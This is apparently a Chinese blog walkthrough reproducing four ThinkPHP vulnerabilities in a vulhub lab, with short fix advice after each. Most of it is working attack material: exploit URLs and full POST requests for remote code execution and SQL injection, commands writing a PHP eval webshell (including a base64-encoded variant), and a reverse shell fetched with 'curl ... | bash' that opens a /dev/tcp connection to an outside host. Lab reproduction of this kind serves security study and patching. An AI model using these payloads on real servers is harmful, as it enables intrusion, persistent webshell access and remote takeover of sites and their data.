Thinkphp漏洞复现(全漏洞版本)
0x01:ThinkPHP 2.x 任意代码执行漏洞
1.环境描述&环境搭建
ThinkPHP 2.x版本中,使用preg_replace
的/e
模式匹配路由:
$res = preg_replace('@(\w+)'.$depr.'([^'.$depr.'\/]+)@e', '$var[\'\\1\']="\\2";', implode($depr,$paths));
导致用户的输入参数被插入双引号中执行,造成任意代码执行漏洞。
ThinkPHP 3.0版本因为Lite模式下没有修复该漏洞,也存在这个漏洞。
环境搭建:
下载好vulhub项目,切换到thinkphp下的2Rce,运行
docker-compose up -d
出现上述页面说明搭建成功。
2.漏洞复现
直接构造poc:
http://192.168.18.181:8080/index.php?s=/index/index/name/$%7B@phpinfo()%7D
即可以看到phpinfo的信息:
中间参数更改为:system(whoami)
即可以有以下结果:
写个一句话尝试一下:
/index.php?s=a/b/c/${@print(eval($_POST[1]))}
3.修复建议
- 更新到最新版本:确保你使用的是最新的 ThinkPHP 2.x 版本。开发团队通常会修复已知的漏洞,并发布安全更新。查看 ThinkPHP 的官方网站或代码仓库,下载并安装最新的版本。
- 验证用户输入:在接收用户输入时,进行严格的输入验证和过滤。确保输入符合预期的格式、长度和类型,并过滤掉潜在的恶意内容,例如使用过滤函数、正则表达式或安全框架提供的验证器。
- 限制代码执行权限:根据你的应用需求,限制代码执行的权限。避免直接将用户输入的内容作为代码执行,尤其是在 eval()、system() 等敏感函数中使用用户输入。如果需要动态执行代码,尽量使用安全的替代方法,例如利用解释器或安全的代码执行
- 安全日志记录:在应用中加入详细的日志记录功能,包括用户请求、异常情况和安全事件。这有助于及时发现和响应潜在的漏洞利用行为,并进行后续分析和修复。
0x02:ThinkPHP5 SQL注入漏洞 && 敏感信息泄露
1.漏洞描述&环境搭建
ThinkPHP是一个免费开源的,快速、简单的面向对象的轻量级PHP开发框架,是为了敏捷WEB应用开发和简化企业应用开发而诞生的。
这里我们看一下漏洞的上下文:
<?php
namespace app\index\controller;
use app\index\model\User;
class Index
{
public function index()
{
$ids = input('ids/a');
$t = new User();
$result = $t->where('id', 'in', $ids)->select();
}
}
这里如果in可控的话,通过用户传入,那么就会造成注入,让我们来分析一下in的操作代码:
<?php
...
$bindName = $bindName ?: 'where_' . str_replace(['.', '-'], '_', $field);
if (preg_match('/\W/', $bindName)) {
// 处理带非单词字符的字段名
$bindName = md5($bindName);
}
...
} elseif (in_array($exp, ['NOT IN', 'IN'])) {
// IN 查询
if ($value instanceof \Closure) {
$whereStr .= $key . ' ' . $exp . ' ' . $this->parseClosure($value);
} else {
$value = is_array($value) ? $value : explode(',', $value);
if (array_key_exists($field, $binds)) {
$bind = [];
$array = [];
foreach ($value as $k => $v) {
if ($this->query->isBind($bindName . '_in_' . $k)) {
$bindKey = $bindName . '_in_' . uniqid() . '_' . $k;
} else {
$bindKey = $bindName . '_in_' . $k;
}
$bind[$bindKey] = [$v, $bindType];
$array[] = ':' . $bindKey;
}
$this->query->bind($bind);
$zone = implode(',', $array);
} else {
$zone = implode(',', $this->parseValue($value, $field));
}
$whereStr .= $key . ' ' . $exp . ' (' . (empty($zone) ? "''" : $zone) . ')';
}
代码先对$bindName
先进行了一次检测,防止了一些注入情况,但是我们看到$value
是一个数组的情况下,会遍历$value
,并将$k
拼接进$bingName
。
这就是涉及到预编译的执行过程了。通常,PDO预编译执行过程分三步:
prepare($SQL)
编译SQL语句bindValue($param, $value)
将value绑定到param的位置上execute()
执行
这个漏洞实际上就是控制了第二步的$param
变量,这个变量如果是一个SQL语句的话,那么在第二步的时候是会抛出错误的(这个错误就可以返回我们想要执行的恶意语句)。
2.漏洞复现
启动后,访问http://192.168.18.181/index.php?ids[]=1&ids[]=2
,即可看到用户名被显示了出来,说明环境运行成功。
访问:http://192.168.18.181/index.php?ids[0,updatexml(0,concat(0xa,user()),0)]=1
,敏感信息被暴露出来:
3.修复建议
1.升级高版本的thinkphp
2.在过滤上加入更加严格的过滤条件。
参考链接:https://www.leavesongs.com/PENETRATION/thinkphp5-in-sqlinjection.html
0x03:ThinkPHP5 5.0.22/5.1.29 远程代码执行漏洞
1.漏洞描述&环境搭建
其版本5中,由于没有正确处理控制器名,导致在网站没有开启强制路由的情况下(即默认情况下)可以执行任意方法,从而导致远程命令执行漏洞。
环境搭建:同上
2.漏洞复现
受影响版本:ThinkPHP 5.0.x < 5.0.23 ThinkPHP 5.1.x < 5.1.31
直接访问http://192.168.18.181:8080/index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=-1
,即可执行phpinfo:
执行系统命令:
http://192.168.18.181:8080/index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=cat%20/etc/passwd
写入shell:
http://192.168.18.181:8080/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=shell.php&vars[1][]=<?php @eval($_POST['cn006']); ?>aaa
3.修复建议
1.升级高版本的thinkphp
2.在过滤上加入更加严格的过滤条件。
参考链接:
- http://www.thinkphp.cn/topic/60400.html
- http://www.thinkphp.cn/topic/60390.html
- https://xz.aliyun.com/t/3570
0x04: ThinkPHP 5.0.23 远程代码执行漏洞
1.漏洞描述&环境搭建
其5.0.23以前的版本中,获取method的方法中没有正确处理方法名,导致攻击者可以调用Request类任意方法并构造利用链,从而导致远程代码执行漏洞。
环境搭建:同上
2.漏洞复现
发送一下poc包:
POST /index.php?s=captcha HTTP/1.1
Host: 192.168.18.181:8080
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=d0c71d35480472a015c7c335988c19b5
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 76
_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=whoami
写入webshel:
但是我们要知道文件写到哪里,先pwd查看下目录:
_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=echo <?php @eval($_POST['cn006']); ?> >>/var/www/public/shell.php
这里如果是实际的情况下,我们可以使用一些工具,或者访问一下写进的shell地址,因为虽然是500但是有时候也是成功执行了
写入失败,考虑是编码问题换成url编码或者base64编码:
url失败,base64成功:
_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=echoIDw/cGhwIEBldmFsKCRfUE9TVFsnY24wMDYnXSk7ID8+ >>/var/www/public/hushell.php
蚁剑连接成功(记得选base类型):
反弹webshell:
开启一个服务,服务下边放一个1.txt,内容为:
bash -i >& /dev/tcp/10.211.55.5/9999 0>&1
启动nc监听:
执行poc:
POST /index.php?s=captcha HTTP/1.1
Host: 192.168.18.181:8080
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=d0c71d35480472a015c7c335988c19b5
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 102
_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=curl 10.211.55.3/shell.sh | bash
成功反弹shell:
3.修复建议
更新高版本的thinkphp